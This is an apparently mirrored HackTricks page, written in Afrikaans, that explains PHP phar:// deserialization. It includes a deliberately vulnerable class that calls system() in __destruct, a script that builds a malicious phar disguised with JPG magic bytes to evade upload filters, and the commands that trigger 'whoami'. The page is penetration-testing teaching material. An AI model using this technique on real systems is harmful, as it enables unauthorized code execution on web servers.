mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
67 lines
2.1 KiB
Markdown
67 lines
2.1 KiB
Markdown
# phar:// deserialisering
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Phar** lêrs (PHP-argief) bevat **meta data in geserialiseerde formaat**, so, wanneer dit geparseer word, word hierdie **metadata** **gedeserializeer** en jy kan probeer om 'n **deserialisering** kwesbaarheid in die **PHP** kode te misbruik.
|
|
|
|
Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs met PHP-funksies wat nie PHP-kode eval nie, soos **file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**.
|
|
|
|
So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende een:
|
|
```php:vunl.php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
U kan 'n **phar**-lêer skep wat, wanneer dit gelaai word, **hierdie klas sal misbruik om arbitrêre opdragte** met iets soos:
|
|
```php:create_phar.php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
Let op hoe die **magiese bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **te omseil** **moontlike** lêer **oplaai** **beperkings**.\
|
|
**Compileer** die `test.phar` lêer met:
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
En voer die `whoami` opdrag uit deur die kwesbare kode te misbruik met:
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
### Verwysings
|
|
|
|
{{#ref}}
|
|
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|